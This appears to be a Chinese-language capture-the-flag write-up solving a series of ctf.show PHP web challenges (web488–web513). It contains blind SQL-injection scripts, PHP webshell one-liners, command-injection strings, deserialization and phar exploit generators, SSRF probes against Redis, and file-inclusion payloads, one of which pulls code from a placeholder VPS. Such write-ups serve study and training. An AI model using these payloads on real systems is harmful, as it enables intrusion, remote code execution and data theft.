url = "http://42644701-3507-4590-97d6-844a8cbd47eb.challenge.ctf.show:8080/index.php?action=check&username=admin&password=1') or "
i = 0
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
payload = "select flag from flag"
data = f"if(ascii(substr(({payload}),{i},1))>{mid},1,0)%23"
# print(url + data)
res = requests.get(url + data)
if 'admin' in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
print(flag)
else:
break
web488
原来的注入点不能用了。读取其他文件看看。
在 index.php
中,调用了 templateUtil::render()
,
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}
/render/render_class.php
中,这里将传入的username作为参数$cache
传入 cache::create_cache
,而 $template
就是 error。
<?php
ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
}
再看看 /render/cache_class.php
,将我们传入的username写入 cache/md5($template).php
,也就是 cache/cb5e100e5a9a3e7f6d1fd97512215282.php
,所以可以username写入一句话木马,然后访问就行了。
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
web489
在登录失败的情况下调用 templateUtil::render
不会带上username了,但是 extract($_GET);
存在变量覆盖,可以修改 $sql
执行任意SQL语句。
if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}
访问 http://url/index.php?action=check&sql=select id from user order by id limit 1&username=<?php eval($_POST[1]);?>&password=123
覆盖掉 $sql
和 $username
,使得登陆成功可以将一句话木马放在username中传入 templateUtil::render
,访问 /cache/6a992d5529f459a44fee58c733255e86.php
即可执行命令。
web490
这里的username可以进行注入。
if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$user->username));
}else{
templateUtil::render('error');
}
}
?action=check&username=' union select '`cat /f*`'%23&password=123
然后访问 /cache/6a992d5529f459a44fee58c733255e86.php
web491
这下登陆成功也不会写入username了,那就读取flag文件到 /tmp
目录下然后读取。
?action=check&username=1' union select load_file("/flag") into dumpfile '/tmp/1.php'%23&password=123
web492
这里可以直接绕过 $sql
和 $user
的赋值,可以变量覆盖。
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
写入一句话。访问/cache/6a992d5529f459a44fee58c733255e86.php
。
?action=check&user[username]=<?php eval($_POST[1]); ?>
web493
这里会读取cookie中的user,然后进行反序列化,猜测可能存在反序列化漏洞。
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
读取 render/db_class.php
,发现 dbLog
存在 __destruct()
方法,可以进行写文件操作,直接写入一句话木马或者读取flag写入都可以。
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
POC:
<?php
class dbLog
{
public $sql;
public $content;
public $log;
public function __construct()
{
$this->log='1.php';
$this->content="<?php system('cat /f*');?>";
}
}
echo urlencode(serialize(new dbLog));
web494
同上一题,写入一句话,然后蚁剑连接数据库,flag在数据库中。
<?php
class dbLog
{
public $sql;
public $content;
public $log;
public function __construct()
{
$this->log='1.php';
$this->content='<?php eval($_POST[1]);?>';
}
}
echo urlencode(serialize(new dbLog));
web495
同上
web496
1'||1#
万能密码登录进入后台。
查看源码找到url /api/admin_edit.php
,查看一下该文件的源码。
$user['username']
可控且长度没有限制,进行SQL注入。
if($user){
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
脚本
import requests
url_login = 'http://007326e3-8f2b-4912-ae5c-03287ec3ac79.challenge.ctf.show:8080/index.php?action=check'
url = "http://007326e3-8f2b-4912-ae5c-03287ec3ac79.challenge.ctf.show:8080/api/admin_edit.php"
i = 0
flag = ''
data = {
'action': 'check',
'username': "1'||1#",
'password': '1'
}
session = requests.session()
session.post(url_login, data=data)
data = {
'user[username]': '',
'nickname': ''
}
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload = "select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'"
payload = "select flagisherebutyouneverknow118 from flagyoudontknow76"
name = f"1'||if(ascii(substr(({payload}),{i},1))>{mid},1,0)#"
data['user[username]'] = name
data['nickname'] = str(i * 2) + str(mid)
res = session.post(url, data=data)
if 'u529f' in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
print(flag)
else:
break
web497
资料修改处,图片修改是一个url,然后存的是图片的base64编码,试试ssrf。
file:///flag
直接读flag。
web498
还是在之前的传图片处,用dict协议探测一下6379端口。
dict://127.0.0.1:6379
显示如下,6379端口开放,试试打redis
-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
+OK
用gopherus生成POC直接打。
web499
多了一个系统配置,找到一个url接口 api/admin_settings.php
。
会读取/config/settings.php
,对数据进行反序列化,然后将我们传入的数据对其进行修改,最后写入文件。由于这里是PHP文件,且没有过滤,直接写入一句话即可。
$user= $_SESSION['user'];
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
web500
多了一个数据库备份,看一下接口 /api/admin_db_backup.php
先进行备份,然后访问 /backup/db.sql
进行下载但是里面没找到flag,试一下命令执行。
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
if(file_exists(__DIR__.'/../backup/'.$db_path)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
命令拼接写一句话就行了 db_path=db.sql;echo '<?php eval($_POST[1]);?>' > '/var/www/html/1.php'
web501
对传入的参数加入了正则匹配,但是只要是满足zip开头、包含tar、sql结尾都能满足条件可以拼接命令。
if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
db_format=zip;echo '<?php eval($_POST[1]);?>' > '/var/www/html/1.php'
web502
正则加强了不能绕过,但是 $pre
事先定义好了,之后又执行了 extract($_POST)
,可以变了覆盖进行命令拼接。
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
if($user){
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}
db_format=sql&pre=1.sql;echo '<?php eval($_POST[1]);?>' > '/var/www/html/1.php';
web503
备份处这里用了md5将我们传入的参数进行hash,然后下面判断文件是否存在的 file_exists($pre.$db_format)
又没有md5,不能进行命令拼接了。
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
而系统配置处有了文件上传的功能,可以上传图片文件,通过修改 content-type
可以绕过,但是不能上传PHP文件,结合数据库备份处新增的 file_exists
,可以使用phar反序列化。
<?php
class dbLog
{
public $sql;
public $content="<?php eval(\$_POST[1]);?>";
public $log="a.php";
}
$c=new dbLog();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("a", "a");
$phar->stopBuffering();
然后在 /api/admin_db_backup.php
处传参 pre=phar:///var/www/html/img&db_format=/d7f4be9d064bac5fd42207b3d7efe102.phar
,一句话就写入a.php了。
web504
不能查看PHP文件内容了。
后台多了个模板,还能添加模板。
先试一下添加 1.txt
,内容随便填,然后访问 url/templates/1.txt
,发现写入成功。但是不能写入PHP文件。那就得考虑写入现有的不是PHP的文件,之前的 /config/settings
文件不是PHP文件,且其中内容会进行反序列化,所以我们可以将DBLog的序列化写入进行反序列化rce。
目录穿越向 ../../../../../../../../var/www/html/config/settings
写入 O:5:"dbLog":3:{s:3:"sql";N;s:7:"content";s:26:"<?php system('cat /f*');?>";s:3:"log";s:5:"1.php";}
然后访问1.php即可。
web505
可以在文件查看处查看文件内容,且存在目录穿越。
查看一下 api/admin_file_view.php
,也就是该页面的接口,发现当文件内容以user开头时存在文件包含,于是我们可以将一句话写入模板,然后进行包含。
extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
然后访问 /api/admin_file_view.php
传参 f=/var/www/html/templates/new.sml&debug=1&1=system('cat /flag_is_here_aabbcc ');
即可。
web506
过滤了后缀名,和上一题一样,添加模板随意改个后缀名就行了。
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
web507
查看一下 api/admin_templates.php
的内容,发现加了过滤。一句话写不进去了。
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
$ret['msg']='文件上传失败';
}else{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
break;
找不到文件写了那就用data伪协议。f=data://text/plain,user<?php eval($_POST[1]);?>&debug=1&1=system('cat /flag_is_here_dota');
web508
data伪协议被ban了,可以在上传logo处上传文件,内容为一句话,然后同上 f=./../../../../../../../../../../var/www/html/img/f3ccdd27d2000e3f9255a7e3e2c48800.jpg&debug=1&1=system('cat /flag_is_here_dota2 ');
web509
logo上传处内容过滤了php,短标签绕过即可。
web510
前面的都过滤了,居然session的开头是user,../../../../../../../../../../../../tmp/sess_npdtpucgiluj0j6cjm6bvkskl7
,user|a:3:{s:8:"username";s:5:"admin";s:8:"nickname";s:6:"大牛";s:6:"avatar";s:67:"http://pic3.zhimg.com/50/v2-1c86b2511805e85d157b94266be12672_hd.jpg";}
修改资料修改nickname为一句话,然后和之前一样,包含session文件就行了。
web511
可以使用模板。
在index.php中,action为view时,调用 templateUtil::render($_GET['page'],$user);
,$user
就是个人信息。
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
render/render_class.php
中,可以看到会输出模板文件的内容,然后函数 shade
会对模板中的键值进行替换,在 checkVar
中还存在eval执行代码进行赋值替换,我们可以借此执行命令。
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
public static function checkVar($templateContent,$arg){
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
return $templateContent;
}
新建一个模板,内容为 aa{{var:nickname}}
,然后修改nickname为
``` `cat /flag*` ``` ,访问 `url/index.php?action=view&page=new` 即可。
web512
web513
可以从cnzz中读取一个文件名,然后读取文件内容,包含读取的文件内容。
public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
include($foot);
}
}
return $templateContent;
}
这里先新建一个模板,内容为 https://your-vps/1.txt
,内容为要执行的代码。
然后新建一个模板,内容为 aaa{{cnzz}}
,然后访问 url/index.php?action=view&page=2
就能执行命令了。
Comments | NOTHING